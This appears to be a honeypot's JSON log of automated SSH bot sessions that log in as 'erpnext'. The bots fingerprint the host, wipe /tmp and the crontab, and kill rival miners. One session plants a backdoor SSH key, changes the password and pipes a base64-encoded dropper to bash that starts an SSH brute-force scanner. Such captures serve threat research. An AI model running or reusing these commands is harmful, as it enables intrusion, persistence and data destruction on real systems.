{"id":"62018c23-e7d1-4f86-ad8d-ff30ab0cdb74","name":"glassy-western-mink","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":51222,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T03:05:03.864720+00:00","ended_at":"2026-08-27T03:05:05.692054+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"d2d46daf-4cfb-44fc-b004-ba9c43a685ad","name":"honest-brave-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":34940,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":235,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:04:56.533515+00:00","ended_at":"2026-08-27T03:05:05.691245+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-27T03:03:53.034954+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:03:57.967096+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:03:58.177515+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:04:03.570123+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:04:03.764379+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:04:09.228089+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:54"},{"seq":7,"at":"2026-08-27T03:04:09.408137+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:04:13.151186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:04:13.383194+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:04:19.383168+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:04:19.737705+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:04:25.171253+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:04:25.375389+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:04:30.447067+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:04:30.645366+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:04:35.944668+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:04:36.180297+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:04:39.014432+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:04:39.486499+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:04:42.623956+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:04:43.032792+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:04:48.770061+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:04:49.310661+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:04:52.611439+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T03:04:53.209012+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T03:04:56.534325+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"74cca95b-0239-4163-8321-fde925effb99","name":"wiry-proud-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":43492,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:18:15.147166+00:00","ended_at":"2026-08-26T13:18:21.435252+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"1f356088-01cc-44fa-bc56-0d1c5cb06ac8","name":"dewy-reedy-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":32920,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":790,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T13:18:10.823137+00:00","ended_at":"2026-08-26T13:18:21.490337+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T13:17:02.288189+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T13:17:05.411926+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T13:17:06.663729+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T13:17:09.709057+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T13:17:10.240434+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T13:17:13.894002+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:07"},{"seq":7,"at":"2026-08-26T13:17:14.905625+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T13:17:19.163290+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T13:17:20.006164+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T13:17:24.349722+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T13:17:25.105657+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T13:17:28.446425+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T13:17:29.020483+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T13:17:34.645955+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T13:17:35.112138+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T13:17:40.861930+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T13:17:41.246169+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T13:17:47.204353+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T13:17:47.994702+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T13:17:53.992035+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T13:17:54.965774+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T13:17:59.493456+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T13:18:00.287958+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T13:18:03.484340+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T13:18:04.087093+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T13:18:10.823847+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"ca9c00f2-64da-4ce2-9259-29f05e55a532","name":"noble-fringed-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.200","src_port":49412,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T06:21:51.633281+00:00","ended_at":"2026-08-26T06:21:54.162982+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"f91e5ac4-72bc-4650-b4a4-de89f5c7b888","name":"mighty-earnest-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":33674,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":177,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:21:46.618749+00:00","ended_at":"2026-08-26T06:21:54.161553+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-26T06:20:55.204229+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:20:58.832518+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:20:59.009167+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:21:02.399384+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:21:02.580709+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:21:06.891896+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:11"},{"seq":7,"at":"2026-08-26T06:21:07.291099+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:21:11.263501+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:21:11.429801+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:21:16.493676+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:21:16.671273+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:21:19.409112+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:21:19.571550+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:21:23.369430+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:21:23.536459+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:21:27.972169+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:21:28.278415+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:21:31.227245+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:21:31.409140+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:21:36.874774+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:21:37.043106+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:21:40.070327+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:21:40.246442+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:21:42.843833+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T06:21:43.025947+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T06:21:46.619466+00:00","kind":"input","latency_ms":null,"data":"echo erpnext > /tmp/d.log"}],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
{"id":"1ec638cc-b33e-4be7-8f52-047ca1789644","name":"painted-idle-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"76.79.213.70","src_port":51068,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":371,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T08:53:26.661515+00:00","ended_at":"2026-08-25T08:53:26.784419+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4161,"events":[{"seq":1,"at":"2026-08-25T08:52:55.924103+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T08:52:56.294880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T08:53:00.208839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T08:53:00.209213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T08:53:00.580705+00:00","kind":"input","latency_ms":null,"data":"echo -e \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\"|passwd|bash"},{"seq":6,"at":"2026-08-25T08:53:00.950768+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\\n\"|passwd"},{"seq":7,"at":"2026-08-25T08:53:01.322206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T08:53:01.322804+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T08:53:01.694757+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T08:53:02.425029+00:00","kind":"output","latency_ms":730,"data":"15888 15632 256 0 0 0"},{"seq":11,"at":"2026-08-25T08:53:02.797935+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T08:53:03.408189+00:00","kind":"output","latency_ms":607,"data":"-rwxr-xr-x 1 root root 142K Apr 18  2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T08:53:03.777493+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T08:53:03.778776+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T08:53:04.149335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T08:53:04.150128+00:00","kind":"output","latency_ms":null,"data":" 08:53:04 up 5 days,  5:43,  0 user,  load average: 0.04, 0.05, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-25T08:53:04.521792+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T08:53:04.522242+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T08:53:04.894461+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T08:53:04.894763+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T08:53:05.267478+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T08:53:05.268619+00:00","kind":"output","latency_ms":null,"data":"top - 08:53:05 up 5 days,  5:43,  0 user,  load average: 0.04, 0.05, 0.05\nTasks: 107 total,   1 running, 106 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6355 free,    9532 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T08:53:05.638627+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T08:53:05.638933+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T08:53:06.012568+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T08:53:06.013209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T08:53:06.383682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T08:53:06.385087+00:00","kind":"output","latency_ms":null,"data":"erpnext"},{"seq":29,"at":"2026-08-25T08:53:06.754016+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T08:53:07.954035+00:00","kind":"output","latency_ms":1199,"data":"Model name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1\nModel name:                           AMD EPYC 7713 64-Core Processor\nModel:                                1"},{"seq":31,"at":"2026-08-25T08:53:08.334731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T08:53:09.191262+00:00","kind":"output","latency_ms":864,"data":"25G"},{"seq":33,"at":"2026-08-25T08:53:10.579224+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext erpnext@1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T08:53:10.990442+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T08:53:11.452088+00:00","kind":"output","latency_ms":461,"data":""},{"seq":36,"at":"2026-08-25T08:53:12.349132+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T08:53:13.184076+00:00","kind":"output","latency_ms":834,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":38,"at":"2026-08-25T08:53:13.556126+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T08:53:14.053563+00:00","kind":"output","latency_ms":495,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":40,"at":"2026-08-25T08:53:14.424910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T08:53:14.795309+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T08:53:16.717335+00:00","kind":"output","latency_ms":1921,"data":"dev,0000000000000000,0 0 0 0 0\n"},{"seq":43,"at":"2026-08-25T08:53:17.088114+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T08:53:17.618881+00:00","kind":"output","latency_ms":529,"data":"dev,0000000000000000,0 0 0 0 0"},{"seq":45,"at":"2026-08-25T08:53:17.990307+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T08:53:26.662068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-25T08:53:26.663709+00:00","kind":"output","latency_ms":null,"data":"erpnext"}],"credentials":[{"username":"erpnext","password":"erpnext@1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"a3e2d40c-4f68-4e00-b31e-645306d96ab2","name":"feathered-jovial-waxwing","protocol":"ssh","channel_kind":null,"src_ip":"76.79.213.70","src_port":56706,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T08:53:10.054880+00:00","ended_at":"2026-08-25T08:53:10.453391+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext@1234","method":"password","accepted":true,"tier":"other"}]}
{"id":"6eb1822a-cc08-4b25-8572-0f72fd1b530a","name":"umber-gentle-tanager","protocol":"ssh","channel_kind":null,"src_ip":"76.79.213.70","src_port":52422,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T08:52:58.862916+00:00","ended_at":"2026-08-25T08:53:00.084547+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"1d158c19-1153-48a4-8a0f-a8b3b0316199","name":"craggy-canny-jaguar","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":54348,"username":"erpnext","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:41:15.102769+00:00","ended_at":"2026-08-25T01:41:17.103462+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"erpnext","password":"erpnext","method":"password","accepted":true,"tier":"other"}]}
